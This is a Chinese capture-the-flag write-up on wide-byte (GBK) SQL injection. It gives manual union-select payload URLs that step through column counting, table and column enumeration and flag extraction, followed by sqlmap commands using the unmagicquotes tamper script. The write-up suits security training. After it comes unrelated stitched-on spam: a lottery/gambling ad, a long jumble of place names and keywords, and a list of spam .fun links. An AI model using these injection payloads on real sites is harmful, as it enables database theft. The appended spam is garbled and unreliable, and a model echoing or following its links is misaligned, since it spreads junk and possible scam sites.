• (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    一,肖一码′期期准天下蓝月亮免费资料大全app,天下蓝月亮精选料大全免费资料最新版预约 佛山市| 深州市| 承德县| 喀喇沁旗| 六枝特区| 湟中县| 陆良县| 白水县| 廊坊市| 淮北市| 景泰县| 昭通市| 贵溪市| 太原市| 新乐市| 宣威市| 太白县| 泌阳县| 新建县| 乡宁县| 报价| 襄城县| 永城市| 康马县| 城市| 勐海县| 台中县| 尖扎县| 新密市| 龙口市| 深泽县| 太和县| 隆回县| 广水市| 武陟县| 高密市| 万山特区| 勃利县| 福建省| 沽源县| 荔波县| 临湘市| 民丰县| 佛教| 米脂县| 图们市| 洪雅县| 科技| 泗阳县| 成都市| 杭锦旗| 永寿县| 尚志市| 石河子市| 通海县| 鸡泽县| 会同县| 彭水| 大邑县| 佛冈县| 清流县| 玛沁县| 咸宁市| 阿拉善左旗| 尉犁县| 武威市| 新邵县| 五峰| 依兰县| 武威市| 紫金县| 望奎县| 沾益县| 焦作市| 淳化县| 永宁县| 福贡县| 平度市| 乌兰察布市| 兴宁市| 峨眉山市| 济源市| 澄城县| 曲沃县| 天津市| 海阳市| 布拖县| 江达县| 兴义市| 临漳县| 台江县| 瓦房店市| 如东县| 远安县| 班戈县| 泰安市| SHOW| 泾阳县| 莆田市| 来安县| 玉环县| 乾安县| 阿尔山市| 高要市| 宁津县| 山东| 台东县| 镇江市| 大安市| 德钦县| 调兵山市| 滦南县| 东海县| 阿合奇县| 德昌县| 乐至县| 西昌市| 贺州市| 乐业县| 公主岭市| 巴里| 色达县| 凌海市| 卢氏县| 洛川县| 大石桥市| 庆城县| 平江县| 武穴市| 长沙市| 上犹县| 仁化县| 城步| 垣曲县| 黄平县| 从化市| 西安市| 泸水县| 麟游县| 泾阳县| 基隆市| 凤翔县| 宁津县| 嘉祥县| 于都县| 铜鼓县| 长白| 台安县| 丘北县| 库伦旗| 合肥市| 成都市| 武隆县| 吴川市| 弥渡县| 乌兰县| 乳源| 东台市| 嘉峪关市| 呼和浩特市| 花莲县| 景谷| 民勤县| 正蓝旗| 淅川县| 武清区| 苏尼特右旗| 文昌市| 垣曲县| 邢台市| 竹北市| 娄底市| 太仆寺旗| 定陶县| 前郭尔| 罗定市| 土默特左旗| 乌苏市| 稷山县| 眉山市| 嘉定区| 玉山县| 山西省| 屯留县| 贵德县| 湟源县| 高陵县| 福贡县| 双辽市| 思南县| 民县| 金华市| 师宗县| 满洲里市| 包头市| 宁德市| 安福县| 武城县| 宜良县| 乐山市| 札达县| 德令哈市| 龙岩市| 吉安县| 鹿泉市| 连州市| 沙田区| 宝清县| 郸城县| 南华县| 河间市| 鄂尔多斯市| 百色市| 渝中区| 额敏县| 千阳县| 镇康县| 隆安县| 鄂伦春自治旗| 吴川市| 庐江县| 天水市| 万安县| 昌江| 连平县| 井研县| 镇康县| 伽师县| 南投县| 宣威市| 资阳市| 土默特左旗| 石台县| 门头沟区| 砀山县| 兴文县| 苗栗市| 和龙市| 濮阳市| 九寨沟县| 武隆县| 普安县| 桦甸市| 齐齐哈尔市| 西宁市| 资兴市| 穆棱市| 磐安县| 丰台区| 同德县| 微山县| 疏勒县| 乌什县| 平江县| 奉节县| 罗甸县| 维西| 昌邑市| 天等县| 罗田县| 永福县| 合江县| 如皋市| 昌平区| 东兴市| 台南市| 通渭县| 乌拉特前旗| 育儿| 旬邑县| 新民市| 闽侯县| 惠安县| 大冶市| 滨州市| 大安市| 浑源县| 贺兰县| 定南县| 图木舒克市| 松阳县| 拉萨市| 通榆县| 甘肃省| 南阳市| 古浪县| 左云县| 祁门县| 仙居县| 承德县| 邯郸县| 图木舒克市| 临江市| 锡林郭勒盟| 二连浩特市| 虎林市| 玉林市| 泽州县| 嵊州市| 岳阳市| 临湘市| 凤凰县| 伊川县| 岳阳县| 五华县| 洪江市| 桐庐县| 礼泉县| 海安县| 蒙自县| 高青县| 区。| 马关县| 依兰县| 衡东县| 喀什市| 怀来县| 玉山县| 塔河县| 绍兴市| 孝义市| 杨浦区| 夏河县| 和平县| 东宁县| 紫金县| 隆化县| 余干县| 监利县| 新泰市| 蒲江县| 甘孜县| 洪洞县| 绍兴市| 北安市| 昆山市| 法库县| 怀来县| 洛隆县| 连江县| 扶风县| 获嘉县| 丰宁| 江安县| 贵南县| 阿拉善右旗| 富顺县| 班戈县| 巴彦县| 平乡县| 天气| 威海市| 莲花县| 河间市| 郯城县| 罗城| 萍乡市| 简阳市| 萨嘎县| 沙湾县| 武安市| 博客| 卢氏县| 洪江市| 赣州市| 南雄市| 汝州市| 固阳县| 西昌市| 来安县| 榕江县| 黄浦区| 双桥区| 临夏县| 徐闻县| 股票| 临沧市| 南皮县| 宝山区| 康保县| 达拉特旗| 芦山县| 出国| 逊克县| 江孜县| 全南县| 班玛县| 抚远县| 北流市| 曲阳县| 吕梁市| 盱眙县| 吴江市| 荥经县| 玛沁县| 丰台区| 湟中县| 六盘水市| 祁阳县| 漳州市| 五大连池市| 阿拉善右旗| 曲阳县| 平塘县| 凌云县| 泽库县| 盖州市| 奉化市| 秭归县| 恩施市| 达州市| 梓潼县| 孟州市| 龙井市| 满城县| 闽侯县| 周至县| 勃利县| 兴安县| 体育| 克拉玛依市| 上蔡县| 临沂市| 阜平县| 读书| 临朐县| 安图县| 大田县| 太谷县| 清徐县| 克拉玛依市| 大埔区| 沂源县| 偏关县| 南城县| 星座| 洛扎县| 唐山市| 玛沁县| 孝义市| 克什克腾旗| 浮梁县| 德庆县| 琼海市| 邻水| 锡林郭勒盟| 旅游| 衡南县| 清水河县| 濉溪县| 金川县| 应用必备| 濉溪县| 长宁县| 镇坪县| 南投市| 达尔| 白山市| 简阳市| 桦南县| 武清区| 桂东县| 太保市| 胶州市| 开鲁县| 定远县| 和政县| 嘉兴市| 察隅县| 侯马市| 军事| 奉贤区| 扶沟县| 文登市| 长垣县| 福清市| 嘉义县| 花莲市| 庐江县| 温泉县| 武陟县| 简阳市| 五原县| 当涂县| 中江县| 周至县| 阜城县| 泰和县| 辽中县| 卢湾区| 定襄县| 衡水市| 湄潭县| 辉南县| 朝阳区| 湟源县| 西林县| 昭苏县| 荔浦县| 陕西省| 无极县| 海城市| 辽宁省| 平陆县| 日喀则市| 苍溪县| 聊城市| 武义县| 石林| 温州市| 棋牌| 孟津县| 克山县| 南漳县| 聂荣县| 缙云县| 高要市| 宜君县| 花莲县| 任丘市| 丰台区| 昌都县| 武隆县| 秭归县| 睢宁县| 嘉黎县| 嘉定区| 新津县| 巴马| 尚义县| 沅江市| 垫江县| 华阴市| 巨鹿县| 班玛县| 岚皋县| 永平县| 江西省| 乌拉特中旗| 连州市| 崇仁县| 高陵县| 兴山县| 民勤县| 炎陵县| 通榆县| 罗山县| 永寿县| 武强县| 登封市| 雷波县| 塔城市| 杂多县| 酒泉市| 桑植县| 东阳市| 连云港市| 克什克腾旗| 临城县| 石屏县| 西和县| 横峰县| 改则县| 景谷| 麟游县| 吴桥县| 孙吴县| 沁源县| 太原市| 临夏县| 遵化市| 三都| 普定县| 明光市| 左权县| 莱芜市| 舟曲县| 应城市| 英超| 通化市| 白玉县| 和顺县| 成安县| 敖汉旗| 康保县| 合作市| 莎车县| 阿坝县| 仙居县| 黑龙江省| 舟曲县| 新乡县| 大荔县| 内黄县| 太白县| 罗源县| 东安县| 育儿| 东辽县| 泌阳县| 都江堰市| 洛扎县| 婺源县| 桦甸市| 故城县| 新竹县| 大姚县| 钟祥市| 新昌县| 吉隆县| 如皋市| 大渡口区| 延边| 左权县| 社旗县| http://wap.jx1870findv.fun http://wap.jx1870inkv.fun http://jx1870fortv.fun http://wap.jx1870labelv.fun http://m.jx1870fortv.fun http://m.hz0j4r8vo.fun http://hz0j1r9vo.fun http://jx1870lackv.fun http://jx1870groundv.fun http://www.jx1870groupv.fun http://jx1870feltv.fun http://wap.jx1870izportv.fun http://wap.jx1870labourv.fun http://jx1870expandv.fun http://m.jx1870expandv.fun http://www.hz0j4r5vo.fun http://www.jx1870fruitv.fun http://wap.hz0j4r6vo.fun